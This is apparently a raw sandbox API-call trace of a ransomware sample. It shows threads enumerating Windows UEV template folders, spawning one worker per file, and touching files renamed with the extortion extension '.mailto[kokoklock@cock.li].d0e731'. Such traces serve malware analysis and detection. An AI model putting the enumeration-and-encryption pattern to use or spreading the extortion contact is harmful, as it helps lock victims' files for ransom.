1 [0174.107] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2=".") returned 1 [0174.107] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win32.xml", _String2="..") returned 1 [0174.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x3055cb8 [0174.107] wcscpy (in: _Dest=0x3055cb8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.107] wcscat (in: _Dest=0x3055cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.107] wcscat (in: _Dest=0x3055cb8, _Source="MicrosoftSkypeForBusiness2016Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" [0174.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0174.108] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0174.108] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2=".") returned 1 [0174.108] wcscmp (_String1="MicrosoftSkypeForBusiness2016Win64.xml", _String2="..") returned 1 [0174.108] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x3055d70 [0174.108] wcscpy (in: _Dest=0x3055d70, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.108] wcscat (in: _Dest=0x3055d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.108] wcscat (in: _Dest=0x3055d70, _Source="MicrosoftSkypeForBusiness2016Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" [0174.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0174.109] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0174.109] wcscmp (_String1="MicrosoftWordpad.xml", _String2=".") returned 1 [0174.109] wcscmp (_String1="MicrosoftWordpad.xml", _String2="..") returned 1 [0174.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fcfa20 [0174.109] wcscpy (in: _Dest=0x2fcfa20, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.109] wcscat (in: _Dest=0x2fcfa20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.109] wcscat (in: _Dest=0x2fcfa20, _Source="MicrosoftWordpad.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" [0174.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfa20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0174.110] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0174.110] wcscmp (_String1="NetworkPrinters.xml", _String2=".") returned 1 [0174.110] wcscmp (_String1="NetworkPrinters.xml", _String2="..") returned 1 [0174.110] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82e08 [0174.110] wcscpy (in: _Dest=0x2f82e08, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.110] wcscat (in: _Dest=0x2f82e08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.110] wcscat (in: _Dest=0x2f82e08, _Source="NetworkPrinters.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" [0174.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0174.110] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0174.110] wcscmp (_String1="RoamingCredentialSettings.xml", _String2=".") returned 1 [0174.110] wcscmp (_String1="RoamingCredentialSettings.xml", _String2="..") returned 1 [0174.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fedfa0 [0174.111] wcscpy (in: _Dest=0x2fedfa0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.111] wcscat (in: _Dest=0x2fedfa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.111] wcscat (in: _Dest=0x2fedfa0, _Source="RoamingCredentialSettings.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" [0174.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedfa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0174.111] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0174.111] wcscmp (_String1="ThemeSettings2013.xml", _String2=".") returned 1 [0174.111] wcscmp (_String1="ThemeSettings2013.xml", _String2="..") returned 1 [0174.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcff78 [0174.111] wcscpy (in: _Dest=0x2fcff78, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.111] wcscat (in: _Dest=0x2fcff78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.111] wcscat (in: _Dest=0x2fcff78, _Source="ThemeSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" [0174.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcff78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0174.112] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0174.112] wcscmp (_String1="VdiState.xml", _String2=".") returned 1 [0174.112] wcscmp (_String1="VdiState.xml", _String2="..") returned 1 [0174.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7a) returned 0x2fa0988 [0174.112] wcscpy (in: _Dest=0x2fa0988, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.112] wcscat (in: _Dest=0x2fa0988, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.112] wcscat (in: _Dest=0x2fa0988, _Source="VdiState.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" [0174.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0174.113] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 0 [0174.113] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0174.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020f10) returned 1 [0174.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f604a0) returned 1 [0174.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0174.114] RtlExitUserThread (Status=0x0) Thread: id = 2144 os_tid = 0x1268 [0173.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa42a0 [0173.560] wcscpy (in: _Dest=0x2fa42a0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" [0173.560] wcscat (in: _Dest=0x2fa42a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\" [0173.560] wcscat (in: _Dest=0x2fa42a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*" [0173.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022988 [0173.560] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80760 [0173.561] wcscmp (_String1=".", _String2=".") returned 0 [0173.561] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.561] wcscmp (_String1="..", _String2=".") returned 1 [0173.561] wcscmp (_String1="..", _String2="..") returned 0 [0173.561] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0173.561] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2=".") returned 1 [0173.561] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2="..") returned 1 [0173.561] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 0 [0173.561] FindClose (in: hFindFile=0x2f80760 | out: hFindFile=0x2f80760) returned 1 [0173.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022988) returned 1 [0173.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa42a0) returned 1 [0173.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4a80) returned 1 [0173.561] RtlExitUserThread (Status=0x0) Thread: id = 2145 os_tid = 0x126c [0173.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87c30 [0173.563] wcscpy (in: _Dest=0x2f87c30, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0173.563] wcscat (in: _Dest=0x2f87c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0173.563] wcscat (in: _Dest=0x2f87c30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*" [0173.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022988 [0173.563] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0173.564] wcscmp (_String1=".", _String2=".") returned 0 [0173.564] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.564] wcscmp (_String1="..", _String2=".") returned 1 [0173.564] wcscmp (_String1="..", _String2="..") returned 0 [0173.564] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0173.564] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2=".") returned 1 [0173.564] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2="..") returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fd01d8 [0173.564] wcscpy (in: _Dest=0x2fd01d8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0173.564] wcscat (in: _Dest=0x2fd01d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0173.564] wcscat (in: _Dest=0x2fd01d8, _Source="SettingsLocationTemplate.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" [0174.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0174.082] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0174.082] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2=".") returned 1 [0174.082] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2="..") returned 1 [0174.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fa32b8 [0174.082] wcscpy (in: _Dest=0x2fa32b8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0174.082] wcscat (in: _Dest=0x2fa32b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0174.082] wcscat (in: _Dest=0x2fa32b8, _Source="SettingsLocationTemplate2013.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" [0174.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa32b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0174.083] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0174.083] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2=".") returned 1 [0174.083] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2="..") returned 1 [0174.083] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2feda60 [0174.083] wcscpy (in: _Dest=0x2feda60, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0174.083] wcscat (in: _Dest=0x2feda60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0174.083] wcscat (in: _Dest=0x2feda60, _Source="SettingsLocationTemplate2013A.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" [0174.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feda60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0174.084] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 0 [0174.084] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0174.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022988) returned 1 [0174.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c30) returned 1 [0174.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4180) returned 1 [0174.084] RtlExitUserThread (Status=0x0) Thread: id = 2146 os_tid = 0x1270 [0173.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.570] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.570] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0173.571] RtlExitUserThread (Status=0x0) Thread: id = 2147 os_tid = 0x1274 [0173.572] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20 [0173.572] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", dwFileAttributes=0x20) returned 0 [0173.572] 